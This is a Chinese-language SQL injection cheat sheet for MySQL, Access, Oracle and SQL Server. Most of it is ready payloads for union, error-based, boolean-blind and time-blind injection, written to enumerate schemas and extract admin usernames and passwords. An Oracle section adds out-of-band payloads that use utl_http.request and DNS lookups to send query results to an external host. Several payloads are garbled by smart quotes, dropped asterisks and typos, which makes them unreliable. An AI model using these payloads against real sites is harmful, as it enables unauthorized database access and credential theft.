Mysql:
联合查询注入:
判断列数:order by x(变量,输入数字判断具提列数)
判断回显注入点: union select 1,2,3,…,x(测试哪一行会显示在页面上,查看数据变化)
爆库:union select 1,2,group_concat(0x23,database(),0x23) --+
爆表:union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“之前爆出的表” --+
爆数据:union select 1,2,group_concat(之前爆出的字段) from “之前爆出的表” --+
爆错注入:
extractvalue函数:
and(select extractvalue(“anything”,concat(‘~’,(select语句))))
updatexml函数:
and(select updatexml(“anything”,concat(‘~’,(select语句())),“anything”))
concat+rand()+group_by()导致主键重复:
union select 1 from (select count(*),concat((slelect语句),floor(rand(0)2))x from “一个足大的表” group by x)a–+
爆数据库名:'union select 1 from (select count(),concat((select database())," “,floor(rand(0)2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,” “,floor(rand(0)2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name=“TABLE_NAME” limit 0,1) ,” “,floor(rand(0)2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ,” ",floor(rand(0)*2))x from information_schema.tables group by x)a
布尔盲注:
恒真式恒假式判断是否存在注入点
查数据库长度:
or length(database())>7%23 true
or length(database())>8–+ false
or length(database())=8–+ true
猜数据库第一位字符:
or ascii(substr(database(),1,1))>100–+ true
or ascii(substr(database(),1,1))>120–+ false
or ascii(substr(database(),1,1))=115–+ true
猜测数据库中的表数量:
or 4=(select count(table_name) from information_schema.tables where table_schema=database());–+
猜测第一个表中的第一个字符:
or ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101–+
猜测字段长度:
or (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘emails’)=2–+
查第一个字段全名:
or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘emails’ limit 0,1),1,1))>104–+
猜测表中字段具体内容的条数
or 8=(select count(id) from security.emails)–+
查email_id字段的第一条具体内容:
or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68–+
时间盲注:
判断是否为时间盲注:
’ and sleep(5) --+
插入if条件语句看是否执行了时间延迟,获取数据库长度:
and if(length(database())=8,sleep(5),0)–+
获取第一个字符:
’ and if(left(database(),1)=‘s’ , sleep(3), 1) --+
获取表的第一个字符:
’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=‘r’ , sleep(3), 1) --+
获取列:
’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘password’, sleep(3), 1) --+
具体内容:
’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ , sleep(3), 1) --+
Access:
我们想来了解一下access数据库
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
没有库这个概念 只有表这个概念
这应该就是今天的sql语句
判断是否为access数据库:
and exists (select * from msysobjects)>0
查看显示位
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
构造语句
查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5 //=换成<=5也成立,下同
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
Oracle:
dual表,此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生
与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual
涉及到的基本用法:
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
selectfrom all_tab_columns 查询出所有的字段
selectfrom user_tab_columns 查询出当前用户的字段
select*from v$version 查版本
联合查询注入:
1.首先order by 数量确定列的数量
2.然后union select null,’null’,null from admin 必须用null如果返回错入则代表引号内的列不是字符列,直到返回正确的为止
3.判断一下数据库中的表网址后面加上and (select count(*) from admin) <>0 返回正常,说明存在admin表。如果返回错误可将admin改为username,manager等常用表名继续猜解。
4.判断列名and (select count() from admin) <>0 将这条语句中的号替换为常用的列名,如:and (select count(user) from admin) <>0如果存在则代表admin这个表中有user这个列
5.判断该网站下有几个管理员,如果有多个的话入侵的几率就会加大。
例如:and (select count() from admin)=1
返回正常说明只有一个管理员。
6.判断账号的长度 and (select count() from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度此处猜解的用户名长度和5比较,即可猜测是否由5个字符组成。
7.判断第一个字母 and (select count() from admin where ascii(substr(name,1,1))>=9)=1
说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取他的ascii码值。
8. 重复此操作即可推出全部的用户名
如:and (select count() from admin where ascii(substr(name,2,1))>=9)=1 猜解第二个字符。。。依次类推
继续猜解密码:and (select count(*) from admin where ascii(substr(pwd,1,1))>=9)=1 猜解pwd表的第一个字符
报错注入:
dbms_xdb_version.checkin()函数
属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID。
语法为:payload:and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()函数
用法与checkin一致,payload:and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_xdb_version.makeversioned()函数
用法与checkin一致,payload:and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()函数
用法与checkin一致,payload:and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
ctxsys.drithsx.sn()函数
and 1=ctxsys.drithsx.sn(1,(select user from dual))–
Oracle带外查询
使用Oracle发送HTTP请求,相关函数:utl_http.request(),需要自己搭建外网web服务器,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测 ,或许这就是Oracle的ssrf。。。
poyload:http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1’ and 1=utl_http.request(‘http://XXXXXXXXXXX/’||(select banner from sys.v_$version where rownum=1)) –
使用Oracle发送DNS请求,相关函数:utl_inaddr.get_host_address()、utl_inaddr.get_host_name(),将查询结果拼接到域名下,并使用DNS记录解析日志
http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1’ and (select utl_inaddr.get_host_address((select user from dual)||‘.xxx.xxx’) from dual)is not null–
Oracle盲注
测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数
使用length()函数判断长度,使用ascii()和substr()函数猜解数据,判断用户名长度
使用decode函数进行布尔盲注,substr(user,1,1)是条件,'B’是要遍历的位置(这里B是用户名的首字母),如果匹配便返回翻译值1,否则使用默认值0。
decode()函数用法。decode(条件,值1,翻译值1,值2,翻译值2,…值n,翻译值n,缺省值)
if(条件值1)>返回翻译值1,否则返回默认值
payload:http://xxx.xxx.xx.xx/?id=2’and 1=(select decode(substr(user,1,1),‘B’,(1),0) from dual) --+
使用instr进行布尔盲注,(select user from dual)是查询结果数据,instr会返回’B’位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL regexp注入的方法。
http://xxx.xxx.xx.xx/?id=2’and 1=(instr((select user from dual),‘B’)) --+
instr这种方式在应对重复字符时,只能返回第一个字符的位置,比如字符串’aabbcc’,查找a只能返回1,那这样就查不到第二个相同字符,最后我们得到的返回值是a->1,b->3,c->5,但是我们根据lengtg()函数知道长度是6,那么就可以直接不全了2位置一定是a,如果是别的不可能查不到,也可以得出aabbcc
延迟注入
测试和漏洞挖掘中,通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),这个也是通过SQLMAP源码中发现的
DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)
实际用法如下
AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END)
而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库
实际用法如下
and 1=(select decode(substr(user,1,1),‘B’,(select count(*) from all_objects),0) from dual)–+
SQLServer数据库
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 –
sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
db权限:文件管理,数据库操作等权限 users-administrators
public权限:数据库操作 guest-users
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个其他数据库:ReportServer、ReportServerTempDB。其中,model和tempdb是默认没有数据表的。
但是如果用navicat远程连接的话,只会显示2个数据库:ReportServer、ReportServerTempDB
下面这个为sqlserver的判断语句and exists (select * from sysobjects)>0
判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5 //正常显示
and len(db_name(1))>10 //不正常显示
and len(db_name(1))>7 //正常显示
and len(db_name(1))>8 //不正常显示
判断dbid为2数据库字符的ascii值
and ascii(substring(db_name(2),1,1))>95 //正常显示
and ascii(substring(db_name(2),1,1))>100 //不正常显示
and ascii(substring(db_name(2),1,1))>96 //正常显示
and ascii(substring(db_name(2),1,1))>97 //不正常显示
所以dbid为1数据库的第一个字符的ascii值为97,即为a。
以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97
直到爆出数据库最后一位字符,得到数据库名字。
这里假设我们知道了数据库中存在 test 数据库。
爆破test数据库中表的个数
and (select count(name) from test…sysobjects where xtype=‘U’)>N
爆破test数据库中表的长度和名称
爆破test数据库中第一个表的长度:
and len((select top 1 name from test…sysobjects where xtype=‘U’ and id not in (select top 1 id from test…sysobjects where xtype=‘U’)))=N
爆破test数据库中第一个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test…sysobjects where xtype=‘U’ and id not in(select top 1 id from test…sysobjects where xtype=‘U’)),1,1))>115
爆破test数据库中第一个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test…sysobjects where xtype=‘U’ and id not in(select top 1 id from test…sysobjects where xtype=‘U’)),2,1))>115
爆破test数据库中第一个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test…sysobjects where xtype=‘U’ and id not in(select top 1 id from test…sysobjects where xtype=‘U’)),3,1))>115
…
爆破test数据库中第二个表的长度:
and len((select top 1 name from test…sysobjects where xtype=‘U’ and id not in (select top 2 id from msdb…sysobjects where xtype=‘U’)))=N
爆破test数据库中第二个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test…sysobjects where xtype=‘U’ and id not in(select top 2 id from test…sysobjects where xtype=‘U’)),1,1))>115
爆破test数据库中第二个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test…sysobjects where xtype=‘U’ and id not in(select top 2 id from test…sysobjects where xtype=‘U’)),2,1))>115
爆破test数据库中第二个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test…sysobjects where xtype=‘U’ and id not in(select top 2 id from test…sysobjects where xtype=‘U’)),3,1))>115
…
这里假设我们爆出了user表
爆破test数据库中user表的列数
and (select count(name) from test…syscolumns where id=(select id from test…sysobjects where name=‘user’))=N
爆破test数据库中user表的列名
爆破test数据库中user表的第一列的长度:
and len((select top 1 col_name(object_id(‘user’),1) from test…sysobjects))>10
爆破test数据库中user表的第一列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id(‘user’),1) from test…sysobjects),1,1))>97
爆破test数据库中user表的第一列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id(‘user’),1) from test…sysobjects),2,1))>97
爆破test数据库中user表的第一列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id(‘user’),1) from test…sysobjects),3,1))>97
…
爆破test数据库中user表的第二列的长度:
and len((select top 1 col_name(object_id(‘user’),2) from test…sysobjects))>10
爆破test数据库中user表的第二列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id(‘user’),2) from test…sysobjects),1,1))>97
爆破test数据库中user表的第二列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id(‘user’),2) from test…sysobjects),2,1))>97
爆破test数据库中user表的第二列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id(‘user’),2) from test…sysobjects),3,1))>97
…
这里假设我们爆出了password列
爆出test数据库中user表中password列的数据条数
and (select count(*) from test…user)=N
爆破test数据库中user表中password列中的数据
爆破test数据库中user表中password列中第一行数据的长度
and (select top 1 len(password) from test…user where password not in (select top 1 id from test…user))>N
爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
…
爆破test数据库中user表中password列中第二行数据的长度
and (select top 1 len(password) from test…user where password not in (select top 2 id from test…user))>N
爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
…